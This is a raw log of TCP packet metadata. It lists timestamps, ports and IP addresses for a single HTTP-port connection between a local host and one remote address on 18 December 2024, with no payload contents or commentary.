Dec 18, 2024 14:08:00.285290956 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.286056042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.286161900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.286209106 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.286987066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.287147045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.287203074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.287954092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.288038969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.288094044 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.288923979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.289033890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.289088011 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.289808035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.289942026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.289993048 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.290724993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.290859938 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.290916920 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.291824102 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.291903019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.292025089 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.292697906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.292745113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.292800903 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.293576002 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.293701887 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.293797970 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.294601917 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.294615984 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.294692993 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.295439005 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.295564890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.295860052 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.296431065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.296514988 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.297266960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.297326088 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.297421932 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.297554970 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.298414946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.298427105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.298508883 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.299216032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.299285889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.299381018 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.300221920 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.300369978 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.300431013 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.301192999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.301204920 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.301261902 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.302407026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.302419901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.302483082 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.303145885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.343341112 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.446312904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.446518898 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.446604013 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.446654081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.446667910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.446711063 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.447701931 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.455704927 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.455744028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.455755949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.455758095 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.455806017 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.455954075 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.455966949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.455979109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.455991983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456013918 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.456041098 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.456275940 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456295013 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456306934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456326962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456338882 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.456363916 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.456644058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456655025 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456696033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456712961 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.456717014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456728935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456741095 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456753969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.456767082 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.456793070 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.457290888 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.457370996 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.457403898 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.457416058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.457422018 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.457520008 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.459621906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.459681034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.459692955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.459695101 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.459743023 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.459826946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.459969044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.460014105 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.460026026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.460840940 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.460892916 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.460930109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.461939096 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.461951017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.462007999 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.462687969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.462754011 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.462810993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.464042902 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.464056015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.464152098 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.464869976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.464922905 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.465090990 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.465763092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.465812922 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.465826988 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.466463089 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.466526985 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.466670036 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.467405081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.467463017 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.467485905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.468310118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.468357086 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.468419075 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.469237089 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.469280005 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.469393015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.470175028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.470216036 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.470272064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.471198082 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.471240044 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.471338034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.472069025 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.472119093 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.472142935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.473191023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.473278046 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.473287106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.473984003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.474023104 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.474030972 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.474891901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.474942923 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.475028038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.475797892 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.475850105 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.476022959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.476727009 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.476768017 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.476854086 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.477705956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.477777004 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.477917910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.478674889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.478720903 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.478857994 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.479631901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.479681015 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.479732990 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.480665922 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.480715036 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.480731010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.481440067 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.481486082 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.481548071 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.482379913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.482428074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.482525110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.483331919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.483380079 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.483540058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.484282970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.484342098 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.484379053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.485217094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.485296011 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.485471964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.486136913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.486187935 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.486196041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.487011909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.487155914 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.487207890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.487953901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.488013029 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.488070011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.488925934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.489056110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.489129066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.489809036 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.489856958 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.489903927 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.490806103 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.490854025 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.490890026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.491744995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.491790056 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.491810083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.492620945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.492664099 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.492676020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.493552923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.493597984 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.493633986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.494513988 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.494544983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.494568110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.546401024 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.638241053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.638356924 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.638549089 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.638573885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.638736010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.638844967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.638892889 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.639739037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.639802933 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.639858007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.640633106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.640697956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.640723944 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.641611099 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.641705990 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.641715050 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.642575026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.642627001 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.642664909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.643459082 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.643517971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.643580914 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.644360065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.644419909 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.644488096 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.645306110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.645440102 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.645509005 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.646328926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.646343946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.646378994 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.647185087 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.647244930 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.647265911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.648246050 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.648291111 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.648294926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.649048090 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.649194956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.649245024 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.649997950 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.650078058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.650137901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.650969982 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.651031017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.651087999 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.651868105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.651921988 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.651928902 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.652801991 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.652852058 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.653042078 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.653934956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.653981924 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.654216051 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.655344009 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.655386925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.655400991 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.656019926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.656033039 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.656071901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.656872988 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.656922102 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.657027960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.657795906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.657854080 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.657916069 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.658750057 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.658845901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.658870935 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.659307957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.659363985 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.659387112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.660353899 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.660367012 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.660403967 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.661247015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.661297083 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.661329985 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.662177086 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.662322044 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.662323952 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.663099051 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.663145065 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.663233042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.664024115 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.664146900 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.664184093 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.664937973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.665055037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.665113926 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.665899038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.665950060 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.665987968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.666907072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.666980028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.667031050 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.667772055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.667804003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.667887926 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.668716908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.668766975 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.668831110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.669639111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.669703007 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.669728041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.670558929 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.670692921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.670752048 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.671587944 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.671643972 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.671689034 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.672434092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.672488928 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.672523975 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.673326015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.673472881 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.673511028 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.674556971 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.674623966 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:00.674698114 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:00.675225973 CET	80	49780	176.113.115.178	192.168.2.9
